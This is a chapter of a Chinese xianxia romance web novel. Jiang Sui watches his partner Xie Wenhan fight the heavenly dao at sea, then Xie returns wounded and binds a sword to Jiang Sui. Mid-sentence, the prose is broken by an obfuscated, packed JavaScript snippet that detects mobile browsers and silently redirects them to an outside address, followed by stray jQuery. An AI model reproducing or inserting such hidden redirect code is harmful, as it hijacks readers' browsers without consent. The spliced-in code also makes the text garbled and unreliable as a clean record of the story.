黑水岛在摧玉的控制下朝着岸边移动，岛上居民和游客均被惊动，不断派人过来询问情况。


    摧玉火大得要命，发出声覆盖整个岛屿的怒吼：“没看出来这是要搬家吗？问什么问，再来啰嗦，小心老娘用鞭子抽你们！”


    终于消停下来。


    江岁与摧玉在山顶的凉亭，面朝着漆黑神堕海，这里是黑水岛的最高点，能俯瞰到半座黑水城，以及一望无垠的黑色海面。


    成团的飞虫像是灵动的云雾，围着岛屿起伏变幻。


    摧玉刚引动完岛屿，开启了漂流移动，这会气喘吁吁地停下来歇气。


    江岁给她倒了杯茶水。


    “谢谢啊，你真贴心。”摧玉端着茶杯，盯着江岁，笑得像个满脑子坏想法的小恶魔，“神堕海万里绵延，深不可测，谢闻寒想在海底找到神明的陨落之处，没个十天半月的，根本不可能，所以……你要不要趁着这段时间，换个道侣啊？”


    江岁：“？”


    摧玉往前走了两步，满脸蠢蠢欲动：“你看啊，谢闻寒是个狠毒残酷，强势自我，不懂怜香惜玉的大魔头，你跟着他，除了能暖床当摆设，还有什么用？继续下去，你连自我都要被这个魔头给蚕食了。”


    “看起来，好像是他在养着你，实际上，他这是在废掉你，让你变成只会依赖他的废物！”摧玉道，“等到将来他不爱你了，或者哪天暴毙了，被人打死了，早就被养成了废物的你怎么办？”


    江岁：“……虽然，但是……”


    谢闻寒虽然把他当废物养，但没有真的让他变成废物。他的修为，就是谢闻寒想办法给用药提起来的。


    “但是！”摧玉加大声音，振奋得像是在发表激情演讲，“你若是现在就自立自强起来，找个与你携手共进的，内心充满正义的，不会想着毁灭世界的好道侣，你的人生就会完全不一样了啊！”


    江岁：“……”


    摧玉继续说：“你喜欢什么样的男人？我岛上好歹也有数千居民，我帮你挑个最优秀的，这几天你们处处看，试用试用，然后趁着谢闻寒还没回来，远走高飞。”


    江岁：“……你先看看你背后。”


    海面上刮起了略微有些大的风，吹起了摧玉的头发和衣裙，她怒目道：“你别想用谢闻寒在背后偷听这种烂借口骗我，我能感觉得到，我背后没有人！”


    “不是。”江岁望向黑色的海域，“谢闻寒找到神墓了。”


    摧玉立马回头看去。


    在海天交接处，卷立起数道黑色龙卷风，狰狞张扬，犹如衔接天穹与海面的巨柱。阴沉的云团聚集，雷光闪烁，雪白的闪电缠绕着巨柱，噼里啪啦的落下。


    海面上浪涛汹涌，呼啸的狂风跨越百里，遥遥而至。


    距离实在太远了，江岁看不见谢闻寒的身影，只能看见越涌越高的浪潮，与雪亮到刺目的闪电。龙卷风的中间，甚至形成了一个深渊般的漩涡。


    吹来的风越来越大，夹杂着被卷起的雨水，铺天盖地，好似下起了暴雨。


    黑水岛外的飞虫被吓得散开，岛屿上树木哗啦啦的作响，地面飞沙走石，好似末日来临。


    只是远远看着，江岁也有种心惊肉跳的感觉。


    这阵仗，比之前几次都要大。跟今天比起来，谢闻寒徒手撕天雷都不算什么了，此刻海面上的那些雷，又粗又多，是好几个九天雷劫叠加在一起才能有的效果。


    江岁隐约有种直觉，这是天道，想要趁机杀了谢闻寒。


    “天道要谢闻寒死。”摧玉说出了跟江岁想法一模一样的话，她的表情前所未有的严肃，皱着眉头，“可为什么？谢闻寒身怀神血，应被天道眷顾才对……不对，若他真被天道眷顾，也不会一念入魔。”


    摧玉紧紧皱眉，沉思中的表情忽然一变：“难怪这天道是……”


    “轰隆——”一声巨大惊雷，在摧玉头顶上方响起，闪电毫无征兆的急速落下，无情又威严地劈向摧玉。


    她连忙聚集功力抵挡，却还是被劈得满脸焦黑，头发炸起。


    江岁就站在旁边，天雷落下时，他被波及，但他脚踝上的戴着谢闻寒给的护身法器，闪电的余威全被法器挡住了，他毫发无伤，只是法器裂开了一道。


    摧玉脑袋冒着黑气，恼怒道：“不让说就不让说，你劈什么劈？”


    “轰——”雷声再度响起，发出冰冷无情的警告。


    摧玉立马闭嘴了，转头看着江岁，不服气道：“你怎么没事？”


    江岁道：“我身上有谢闻寒给的法器。”


    刚还撺掇着要撬墙角的摧玉：“……”


    真是惹不起你们这些恋爱脑。


    摧玉扭过脑袋，继续看着远处如林般直冲云霄的龙卷风，以及那无数的天雷闪电，神情慢慢沉了下去。


    “要变天了。”她说。


    江岁也有这样的感觉，他同样看着远方，问道：“你说，谢闻寒为什么要这么做呢？”


    摧玉扭头看他：“你问我？你是谢闻寒道侣，还是我是？”


    江岁：“……”


    他沉默了一会，开口：“其实我跟谢闻寒还算不上道侣吧……只是在谈恋爱而已。”


    毕竟他记忆还没恢复，没办法像是谢闻寒爱他那样爱谢闻寒。


    他缺少的不仅是一段记忆，还有同生共死里的闯荡出来的感情。


    他当然是喜欢谢闻寒的，但这段感情，在找回记忆之前，没办法做到对等。除非给他和谢闻寒足够多的时间。


    但是……


    江岁远远看着那惊天动地的战局，想要从中看到谢闻寒的身影，却怎么也瞧不见丝毫。


    ……谢闻寒还有时间吗？


    “真是搞不懂你们这些谈恋爱的人。”摧玉撇嘴，“情啊爱啊什么的，最是恼人了。”


    *


    谢闻寒的一架，打到第二天还没停下。


    海面上风浪不休，大雨瓢泼而下，整个黑水岛都变得湿漉漉的，到处都是积水，上面还漂浮着一层细小的虫子。


    这些虫子平日里汇聚成团，守护在黑水岛结界外，虽然攻击力微弱，但能形成骚扰，迷惑人心智，最重要的是，它们是黑水岛的标志物。


    摧玉看得很是心疼，大骂谢闻寒，说他自己作死就算了，还要连累无辜的生命。


    江岁叹了口气，坐在凉亭里，一边喝着有些凉掉的茶，一边研读术法大全。


    谢闻寒这一架，以及摧玉关于天道的那一番话，让江岁有了危机感，他觉得自己还是得支棱起来，这样万一哪天谢闻寒需要他的时候，他能卷着谢闻寒逃一逃命。


    入夜，风与暴雨不仅没停，反而越来越烈。


    海天交界处一片惨白亮光，无数闪电像是疯长的藤蔓，爬满了天与海的空隙，雷声震荡得连早已移动数十里的黑水岛，都跟着震颤起来。


    忽然，一点极亮的白光骤然炸起，由点到盘，再变成飞速扩散的波纹，海面沸腾似的震荡起来，形成一圈巨浪，奔腾而起。


    海面剧烈摇晃，狂风猛烈得像个无形的巴掌，整个黑水岛被扇退了好几米。


    碎开巨浪和瓢泼似的海水哗啦啦的浇下来。


    江岁撑开一个简易，但是用灵力堆积得非常厚实的结界，却还是没挡住那猛烈的风，头发被高高的卷了起来，发尾彻底湿透。


    他在这次的风和海水里，感知到了属于谢闻寒的气息。


    再抬头看去，那高耸龙卷风不见了，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113693|164123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刺目的雷电也在飞快消失，只剩下一点裂纹似的余光。


    狂风停了，倒灌般的海水也变成了滴滴答答的小雨。


    乌云好像都褪去了，露出皎洁明亮的月牙。


    这打了一天一夜多的架，终于结束了。


    江岁担心地看向扩散着雷电余光的地方，谢闻寒肯定是打赢了，他就不会输……应该不会。


    就是不知道他人有没有事。


    江岁总觉得，谢闻寒从天山剑宗下来后，身体就一直没彻底愈合过。说不定，在去天山剑宗之前，他身体就已经有毛病了，只是谁也不知道。


    正费力地看着，背后忽然落下道轻微的风声，谢闻寒气息，潮湿的海水味道，以及有些刺鼻的，血液的腥味，一起顺着风，传到了江岁鼻尖。


    “担心我？”谢闻寒出声，嗓音沙哑。


    江岁觉得这会谢闻寒的声音听起来，很像是磨损的锈，有股压抑的腐蚀感。


    回过身，江岁看见脸色惨白得像是尸体中的尸体一样的谢闻寒，他应该是换过了衣服，上面没有海水，也没有血液，甚至没有半点褶皱。


    魔尊的黑袍低调又华丽，暗纹隐约，时而显露的红边猩红夺目，墨色长发垂在腰间，随着夜风轻轻荡起一点弧度。


    淡淡月光映亮他的脸与身形，高大俊朗，强势锋锐，克制禁欲。


    江岁看着他，轻声问：“谢闻寒，你没事吗？”


    “没事。”谢闻寒语调随意，微微带了点天生的冷感，“把手伸出来。”


    江岁以为他这是要给他神墓特产，没做多想，伸出了一只手。


    指尖一疼，被谢闻寒用魔气割开，一团鲜血飘了出来，在谢闻寒的控制下，飞向一柄雪白的剑。


    那把剑剑鞘雪白，明明是很亮眼的颜色，却莫名给人一种平平无奇的错觉，好像这只是一把再普通不过的剑。


    江岁的鲜血落在剑上，却无法向下浸透，相反，整把剑抗拒地抖了起来，同时，江岁感觉自己身体里的灵力不受控制了。震荡，沸腾，到处乱窜，撞击得他有点难受。


    谢闻寒忽然抓住了江岁的手，握着那把剑，他的灵力与江岁的灵力，融合着一起涌向抖动的剑。


    只以瞬间，江岁所有的灵力都被剑抽空了，丹田传来干涸的撕疼。他脸色发白，急忙运转功法，护住丹田和经脉。


    谢闻寒苍白的手指笼罩在江岁手背上，淡蓝色的磅礴灵力从他掌心里冲出，裹着江岁那薄弱的力量，狠狠压住了剑。


    这是谢闻寒还未入魔时，修炼无情道时累积下来的本源灵力，属性冰冷，犹如千年霜雪。


    剑身上开始凝结出冰霜，抖动幅度逐渐变小，最后不甘心的发出一声剑吟，无奈地吸收了江岁的鲜血，融合瞬间，江岁感觉一股柔韧温和的力量涌入了他的身体。


    干涸裂痛的丹田立即恢复了，灵力虽然还是被掏空状态，但身体莫名舒适，灵府里还多了一团柔和的白光。


    江岁用神识碰了一下，是那把剑的刚孕育出来的稚嫩剑灵。


    那团小东西对江岁嫌弃又依恋，江岁想碰它，被它一把子甩开了，但过了会儿，它又会转悠着回来，主动触碰江岁。


    这感觉很神奇，好像养到一只跟自己心意相通的小宠物。


    江岁睁开眼，想跟谢闻寒分享，却听见了谢闻寒咳血的声音。


    他扶着桌子，挺直劲瘦的腰虚弱不堪地弯了下去，苍白宽大的手捂着唇，但根本藏不住那从指缝里，大量涌出来的鲜血。


    一滴滴，一缕缕的，落在石头地面上，很快汇聚成了一片。


    粘稠，猩红，好似带了火星，微微发亮。


    好像是从他灵魂里流淌出来的，带着他生命力的血。